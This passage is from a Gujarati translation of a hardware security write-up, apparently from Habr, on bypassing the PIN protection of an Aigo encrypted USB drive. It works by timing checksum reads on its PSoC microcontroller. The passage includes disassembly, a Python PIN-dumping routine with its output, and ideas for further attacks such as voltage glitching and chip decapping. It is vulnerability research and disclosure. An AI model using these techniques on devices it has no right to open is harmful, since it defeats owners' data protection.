0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging mode changed from 3 to 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

તદ્દન બુદ્ધિગમ્ય લાગે છે!

7.4. PIN કોડ સ્ટોરેજ સરનામું શોધવું

હવે જ્યારે આપણે જરૂર હોય ત્યારે ચેકસમ વાંચી શકીએ છીએ, અમે સરળતાથી તપાસ કરી શકીએ છીએ કે તે કેવી રીતે અને ક્યાં બદલાય છે જ્યારે આપણે:

• ખોટો PIN કોડ દાખલ કરો;
• પિન કોડ બદલો.

પ્રથમ, અંદાજિત સ્ટોરેજ સરનામું શોધવા માટે, મેં રીબૂટ પછી 10 ms ઇન્ક્રીમેન્ટમાં ચેકસમ ડમ્પ લીધો. પછી મેં ખોટો PIN દાખલ કર્યો અને તે જ કર્યું.

પરિણામ બહુ સુખદ ન હતું, કારણ કે તેમાં ઘણા ફેરફારો થયા હતા. પરંતુ અંતે હું એ નિર્ધારિત કરવામાં સક્ષમ હતો કે ચેકસમ 120000 µs અને 140000 µs વિલંબ વચ્ચે ક્યાંક બદલાઈ ગયું છે. પરંતુ મેં ત્યાં પ્રદર્શિત કરેલો "પિનકોડ" સંપૂર્ણપણે ખોટો હતો - વિલંબિત માઇક્રોસેકન્ડ પ્રક્રિયાના આર્ટિફેક્ટને કારણે, જે જ્યારે 0 પસાર થાય છે ત્યારે વિચિત્ર વસ્તુઓ કરે છે.

પછી, લગભગ 3 કલાક પસાર કર્યા પછી, મને યાદ આવ્યું કે SROM સિસ્ટમ કૉલ ચેકસમ ઇનપુટ તરીકે એક દલીલ મેળવે છે જે ચેકસમ માટે બ્લોક્સની સંખ્યા સ્પષ્ટ કરે છે! તે. અમે 64-બાઈટ બ્લોક સુધીની ચોકસાઈ સાથે PIN કોડ અને "ખોટા પ્રયત્નો" કાઉન્ટરનું સંગ્રહ સરનામું સરળતાથી સ્થાનિકીકરણ કરી શકીએ છીએ.

મારા પ્રારંભિક રનોએ નીચેના પરિણામ આપ્યા:

પછી મેં પિન કોડ "123456" થી "1234567" માં બદલ્યો અને મેળવ્યું:

આમ, પિન કોડ અને ખોટા પ્રયાસોનું કાઉન્ટર બ્લોક નંબર 126માં સંગ્રહિત હોય તેવું લાગે છે.

7.5. બ્લોક નંબર 126નો ડમ્પ લેવો

બ્લોક #126 ચેકસમ ગણતરીની શરૂઆતથી, મારા સંપૂર્ણ ડમ્પમાં, 125x64x18 = 144000μs ની આસપાસ ક્યાંક સ્થિત હોવું જોઈએ, અને તે તદ્દન બુદ્ધિગમ્ય લાગે છે. તે પછી, અસંખ્ય અમાન્ય ડમ્પ્સને મેન્યુઅલી બહાર કાઢ્યા પછી ("નાના સમયના વિચલનો" ના સંચયને કારણે), મને આ બાઇટ્સ (145527 μs ની વિલંબિતતા પર) મળવાનું સમાપ્ત થયું:

તે તદ્દન સ્પષ્ટ છે કે PIN કોડ એનક્રિપ્ટેડ સ્વરૂપમાં સંગ્રહિત છે! આ મૂલ્યો, અલબત્ત, ASCII કોડ્સમાં લખેલા નથી, પરંતુ તે બહાર આવ્યું તેમ, તેઓ કેપેસિટીવ કીબોર્ડમાંથી લીધેલા રીડિંગ્સને પ્રતિબિંબિત કરે છે.

છેલ્લે, ખરાબ પ્રયાસ કાઉન્ટર ક્યાં સંગ્રહિત છે તે શોધવા માટે મેં કેટલાક વધુ પરીક્ષણો કર્યા. અહીં પરિણામ છે:

0xFF - એટલે "15 પ્રયાસો" અને તે દરેક નિષ્ફળ પ્રયાસ સાથે ઘટે છે.

7.6. PIN કોડ પુનઃપ્રાપ્તિ

અહીં મારો નીચ કોડ છે જે ઉપરોક્તને એકસાથે મૂકે છે:

def dump_pin():
  pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
        0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
  last_csum = 0
  pin_bytes = []
  for delay in range(145495, 145719, 16):
    csum = csum_at(delay, 1)
    byte = (csum-last_csum)&0xFF
    print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
    pin_bytes.append(byte)
    last_csum = csum
  print "PIN: ",
  for i in range(0, len(pin_bytes)):
    if pin_bytes[i] in pin_map:
      print pin_map[pin_bytes[i]],
  print

અહીં તેના અમલનું પરિણામ છે:

$ ./psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

હુરે! કામ કરે છે!

મહેરબાની કરીને નોંધ કરો કે મેં ઉપયોગમાં લીધેલ વિલંબતા મૂલ્યો સંભવતઃ એક ચોક્કસ PSoC માટે સંબંધિત છે - જેનો મેં ઉપયોગ કર્યો છે.

8. આગળ શું છે?

તેથી, ચાલો PSoC બાજુ પર સારાંશ આપીએ, અમારી Aigo ડ્રાઇવના સંદર્ભમાં:

• અમે SRAM વાંચી શકીએ છીએ, પછી ભલે તે વાંચન સુરક્ષિત હોય;
• અમે કોલ્ડ બૂટ ટ્રેસ એટેકનો ઉપયોગ કરીને અને પીન કોડને સીધો વાંચીને એન્ટિ-સ્વાઇપ સુરક્ષાને બાયપાસ કરી શકીએ છીએ.

જો કે, સિંક્રનાઇઝેશન સમસ્યાઓને કારણે અમારા હુમલામાં કેટલીક ખામીઓ છે. તે નીચે પ્રમાણે સુધારી શકાય છે:

• "કોલ્ડ બૂટ ટ્રેસ" હુમલાના પરિણામે મેળવેલા આઉટપુટ ડેટાને યોગ્ય રીતે ડીકોડ કરવા માટે ઉપયોગિતા લખો;
• વધુ ચોક્કસ સમય વિલંબ બનાવવા માટે FPGA ગેજેટનો ઉપયોગ કરો (અથવા Arduino હાર્ડવેર ટાઈમરનો ઉપયોગ કરો);
• બીજો હુમલો કરવાનો પ્રયાસ કરો: જાણી જોઈને ખોટો PIN કોડ દાખલ કરો, RAM રીબૂટ કરો અને ડમ્પ કરો, આશા રાખીએ કે સાચો PIN કોડ સરખામણી માટે RAM માં સાચવવામાં આવશે. જો કે, Arduino પર આ કરવું એટલું સરળ નથી, કારણ કે Arduino સિગ્નલ લેવલ 5 વોલ્ટ છે, જ્યારે અમે જે બોર્ડની તપાસ કરી રહ્યા છીએ તે 3,3 વોલ્ટ સિગ્નલ સાથે કામ કરે છે.

એક રસપ્રદ વસ્તુ જે અજમાવી શકાય છે તે વાંચવાની સુરક્ષાને બાયપાસ કરવા માટે વોલ્ટેજ સ્તર સાથે રમવાનું છે. જો આ અભિગમ કામ કરે છે, તો અમે અચોક્કસ સમય વિલંબ સાથે ચેકસમ વાંચવા પર આધાર રાખવાને બદલે - ફ્લેશ ડ્રાઇવમાંથી એકદમ સચોટ ડેટા મેળવી શકીશું.

કારણ કે SROM કદાચ રીડબ્લોક સિસ્ટમ કોલ દ્વારા ગાર્ડ બિટ્સ વાંચે છે, અમે તે જ કરી શકીએ છીએ વર્ણવેલ દિમિત્રી નેડોસ્પાસોવના બ્લોગ પર - ક્રિસ ગેર્લિન્સ્કીના હુમલાનું પુનઃ અમલીકરણ, કોન્ફરન્સમાં જાહેરાત "રીકોન બ્રસેલ્સ 2017".

બીજી એક મનોરંજક વસ્તુ જે કરી શકાય છે તે ચીપમાંથી કેસને ગ્રાઇન્ડ કરવાની છે: SRAM ડમ્પ લેવા માટે, બિનદસ્તાવેજીકૃત સિસ્ટમ કૉલ્સ અને નબળાઈઓને ઓળખો.

9. નિષ્કર્ષ

તેથી, આ ડ્રાઇવનું રક્ષણ ઇચ્છિત કરવા માટે ઘણું બધું છોડી દે છે, કારણ કે તે પિન કોડને સંગ્રહિત કરવા માટે નિયમિત ("કઠણ" નથી) માઇક્રોકન્ટ્રોલરનો ઉપયોગ કરે છે... ઉપરાંત, ડેટા સાથે વસ્તુઓ કેવી રીતે ચાલી રહી છે તેના પર મેં (હજી સુધી) જોયું નથી. આ ઉપકરણ પર એન્ક્રિપ્શન!

Aigo માટે તમે શું ભલામણ કરી શકો છો? એન્ક્રિપ્ટેડ એચડીડી ડ્રાઇવ્સના કેટલાક મોડલ્સનું વિશ્લેષણ કર્યા પછી, 2015 માં મેં બનાવ્યું રજૂઆત SyScan પર, જેમાં તેણે ઘણી બાહ્ય HDD ડ્રાઇવ્સની સુરક્ષા સમસ્યાઓની તપાસ કરી અને તેમાં શું સુધારી શકાય તે અંગે ભલામણો કરી. 🙂

મેં આ સંશોધન કરવામાં બે સપ્તાહાંત અને ઘણી સાંજ વિતાવી. કુલ લગભગ 40 કલાક. શરૂઆતથી (જ્યારે મેં ડિસ્ક ખોલી) થી અંત સુધી (PIN કોડ ડમ્પ) ગણતરી. આ જ 40 કલાકમાં મેં આ લેખ લખવામાં વિતાવેલો સમય શામેલ છે. તે ખૂબ જ રોમાંચક સફર હતી.

સોર્સ: www.habr.com